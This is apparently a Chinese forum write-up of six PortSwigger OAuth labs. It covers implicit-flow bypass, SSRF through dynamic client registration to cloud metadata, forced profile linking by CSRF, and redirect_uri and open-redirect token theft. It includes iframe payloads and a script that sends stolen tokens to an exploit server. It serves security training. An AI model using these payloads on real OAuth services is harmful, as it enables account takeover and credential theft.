从靶场中学习OAuth
000**** 发表于 北京 WEB安全 895浏览 · 2024-08-05 08:30

OAuth 2.0

OAuth是一个关于授权(authorization)的开放网络标准,在全世界得到广泛应用,目前的版本是2.0版。

1、专用名词
Third-party application:第三方应用程序
HTTP service:HTTP服务提供商
Resource Owner:资源所有者
User Agent:用户代理
Authorization server:认证服务器
Resource server:资源服务器
2、运行流程
(A)用户打开客户端以后,客户端要求用户给予授权。即登陆页面

(B)用户同意给予客户端授权。点击

(C)客户端使用上一步获得的授权,向认证服务器申请令牌。

(D)认证服务器对客户端进行认证以后,确认无误,同意发放令牌。

(E)客户端使用令牌,向资源服务器申请获取资源。

(F)资源服务器确认令牌无误,同意向客户端开放资源。
3、客户端的授权模式

客户端必须得到用户的授权(authorization grant),才能获得令牌(access token)。OAuth 2.0定义了四种授权方式。

授权码模式(authorization code)
简化模式(implicit)
密码模式(resource owner password credentials)
客户端模式(client credentials)

详情请参考http://www.ruanyifeng.com/blog/2014/05/oauth\_2\_0.html

Burp Oauth2.0 靶场

1、Lab: Authentication bypass via OAuth implicit flow
1.1、靶场描述

flag:登陆Carlos的账户,email是carlos@carlos-montoya.net
自身账号:wiener:peter
1.2、Write UP

访问地址

点击My Account,进入登陆界面

使用账号登陆wiener:peter

登陆成功,查看HTTP history中的数据包

其中第一个是

/auth?client_id=ppvrwaccjhd7cmgzryiwk&redirect_uri=https://0a36000f03f61bb387c9f362002500a9.web-security-academy.net/oauth-callback&response_type=token&nonce=1823115617&scope=openid%20profile%20email

重定向到/interaction/-ELJsYcD8gnBiyZJKahZG

其中有/oauth-callback接口泄露部门接口信息

当中的两个数据包

/me是获取账号的信息

/authenticate应该是获取授权令牌,此处可以修改email登陆目标用户

修改

成功登陆

2、Lab: SSRF via OpenID dynamic client registration
2.1、靶场描述

flag:
SSRF请求http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/获取secret
账号:wiener:peter
2.2、Write UP

进入环境

redirect_uri=https://0a290070030e1ea2800c179400ab006e.web-security-academy.net/oauth-callback

/.well-known/openid-configuration泄露reg路径

向OAuth服务注册您自己的客户端应用程序。提供一个redirect_uris数组,其中包含用于假冒应用程序的回调URI的任意白名单

在Repeater中,返回到您之前创建的POST /reg请求。添加logo_uri属性。右键单击并选择“插入Collaborator有效负载”以粘贴Collaborator URL作为其值

在Repeater中,转到GET /client/CLIENT-ID/logo请求。将路径中的CLIENT-ID替换为您刚刚复制的新路径并发送请求。

转到Collaborator选项卡对话框并检查是否有任何新的交互。请注意,有一个HTTP交互试图获取您不存在的徽标。这确认您可以成功地使用logo_uri属性从OAuth服务器引出请求。

将当前的logo_uri值替换为"logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"

得到client_id

请求/client/5Ae86AFXUVxLjuY0cYO88/logo得到敏感信息

输入秘钥后,成功解决方案。

3、Lab: Forced OAuth profile linking
3.1、靶场描述:

flag:To solve the lab, 
use a CSRF attack to attach your own social media profile to the admin user's account on the blog website,
then access the admin panel and delete carlos.(删除carlos账户)

账号:
Blog website account: wiener:peter
Social media profile: peter.wiener:hotdog
3.2、Write UP

进入靶场之后,登陆wiener账号

存在Attach a social profile超链接

点击之后,绑定社交账号

peter.wiener:hotdog

退出登录,然后点击“我的帐户”返回登录页面。这一次,选择“使用社交媒体登录”选项。注意,您通过新链接的社交媒体帐户立即登录。

在HTTP History中,研究附加社交配置文件的一系列请求。在GET /auth?client_id[...]请求中,观察到用于此功能的redirect_uri将授权代码发送到/oauth-linking。重要的是,请注意请求不包含用于防止CSRF攻击的state参数。

退出登录之后,选择

打开代理拦截并再次选择“附加社交配置文件”选项。

拦截到GET /oauth-linking?code=[...]的请求,并复制这个url,然后drop掉

https://0a250013047de4be803b12680079004a.web-security-academy.net/oauth-linking?code=ACuhLjP0RCdfojaUb2xFIMDGA5OQJnzt1cLTqrqahqJ

利用iframe标签构造好payload

payload:

<iframe src="https://0a250013047de4be803b12680079004a.web-security-academy.net/oauth-linking?code=ACuhLjP0RCdfojaUb2xFIMDGA5OQJnzt1cLTqrqahqJ"></iframe>

点击Deliver exploit to victim

向受害者提供漏洞利用。当他们的浏览器加载iframe时,它将使用您的社交媒体配置文件完成OAuth流程,将其附加到博客网站上的管理员帐户

返回到博客网站,再次选择“使用社交媒体登录”选项。登陆之后,变成administrator权限

删除carlos即可

4、Lab: OAuth account hijacking via redirect_uri
4.1、靶场描述

flag:delete the user carlos
账号:wiener:peter
4.2、Write Up

1、重定向到redirect_uri以及查询字符串中的授权代码

2、redirect_uri参数可随意修改,可获取到code

3、在日志当中可查看到code

4、返回到漏洞利用服务器,并在/acurie上创建以下iframe:

<iframe src="https://oauth-0aa800da04f5f60484d9437702dd00cb.oauth-server.net/auth?client_id=lkx6id52xcm9jzavwxi0r&redirect_uri=https://exploit-0a2e000c0480f6ae847b44fe010d008c.exploit-server.net/&response_type=code&scope=openid%20profile%20email"></iframe>

5、在漏洞利用服务器上保存,并发送

获取到code值

请求拼接的code

删除carlos用户

5、Lab: Stealing OAuth access tokens via an open redirect
5.1、靶场描述

flag:窃取管理员用户帐户的访问令牌。使用访问令牌获取管理员的API密钥
账号:wiener:peter
5.2、Write Up

1、抓取登陆过程中的流量,在其中发现流程如下:

1、/auth?client_id=zi7jtznjnzmg89d0ve447&redirect_uri=https://0ab700e40378e2b6802a2b9e000f0037.web-security-academy.net/oauth-callback&response_type=token&nonce=-1287498302&scope=openid%20profile%20email
2、/me
3、/authenticate

/auth?client_id接口用于获取到access_token。

/me接口获取到自身的数据

从代理历史记录中,找到最新的 GET /auth?client_id=[...] 请求并将其发送到 Repeater。

注意:/auth?client_id=[...]的返回包一定带token

redirect_uri不可控,白名单控制

通过将 redirect_uri 参数更改为以下方法,确认该参数实际上容易受到目录遍历的影响,返回包当中存在accesstoken

https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post?postId=1

发现会被重定向到主页的文章当中

文章下面存在next post

数据包如下:存在接口/post/next?path=/post?postId=1,

path参数可控

制作一个结合了这些漏洞的恶意 URL。您需要一个 URL,该 URL 将启动 OAuth 流,redirect_uri指向打开的重定向,随后将受害者转发到您的漏洞利用服务器:

https://oauth-0aba00df033be2f88052299d02390064.oauth-server.net/auth?client_id=zi7jtznjnzmg89d0ve447&redirect_uri=https://0ab700e40378e2b6802a2b9e000f0037.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a3300400334e25f80132a48015b0046.exploit-server.net/exploit&response_type=token&nonce=-1287498302&scope=openid%20profile%20email

修改payload

<script>
window.location = '/?'+document.location.hash.substr(1)
</script>

访问之后,跳转到如下页面

日志当中存在accesstoken

再度修改

<script>
    if (!document.location.hash) {
        window.location = 'https://oauth-0aba00df033be2f88052299d02390064.oauth-server.net/auth?client_id=zi7jtznjnzmg89d0ve447&redirect_uri=https://0ab700e40378e2b6802a2b9e000f0037.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a3300400334e25f80132a48015b0046.exploit-server.net/exploit/&response_type=token&nonce=-1287498302&scope=openid%20profile%20email'}
 else {
        window.location = '/?'+document.location.hash.substr(1)
    }
</script>

点击Deliver exploit to victim之后,查看log,发现10.0.3.226地址(受害者)返回的accesstoken

使用该accesstoken请求接口/me获取到apikey

6、Lab: Stealing OAuth access tokens via a proxy page
6.1、靶场描述

flag:窃取管理员用户帐户的访问令牌,使用访问令牌获取管理员的API密钥
账号:wiener:peter
6.2、Write Up

1、走一遍登陆流程之后,在http history当中发现四个数据包

其中/auth?client_id=用于获取accesstoken

/me用于获取apikey

redirect_uri不可以修改,修改之后返回400

使用../../进行目录穿越发现未受影响

在/post/comment/comment-form发现parent.postMessage({type: 'onload', data: window.location.href}, '*')。

使用postMessage()方法将window.location.htm属性发送到其父窗口,并且允许将消息发布到任何来源

于是在代理历史记录中,右键单击GET/auth?client_id=[…]请求并选择“复制URL”。转到漏洞利用服务器,创建一个iframe,其中src属性是您刚刚复制的URL。使用目录遍历来更改redirect_uri,使其指向注释表单。结果应该如下所示:

<iframe src="https://oauth-0a8100de03a180d9849253ed0290002a.oauth-server.net/auth?client_id=q4si2yws8gsbmlupjz8ju&redirect_uri=https://0afb00c603628054844b55a1008300bc.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-1837481288&scope=openid%20profile%20email">
</iframe>

在下面,添加一个合适的脚本,用于侦听web消息并将内容输出到某个位置。例如,您可以使用以下脚本在漏洞利用服务器的访问日志中显示web消息:

<script>
    window.addEventListener('message', function(e) {
        fetch("/" + encodeURIComponent(e.data.data))
    }, false)
</script>

将上述准备好的payload放到exploit-server上,并查看是否加载成功

加载成功


查看日志

替换Authorization,获取到apikey


提交apikey

Last:

0 条评论
某人
表情
可输入 255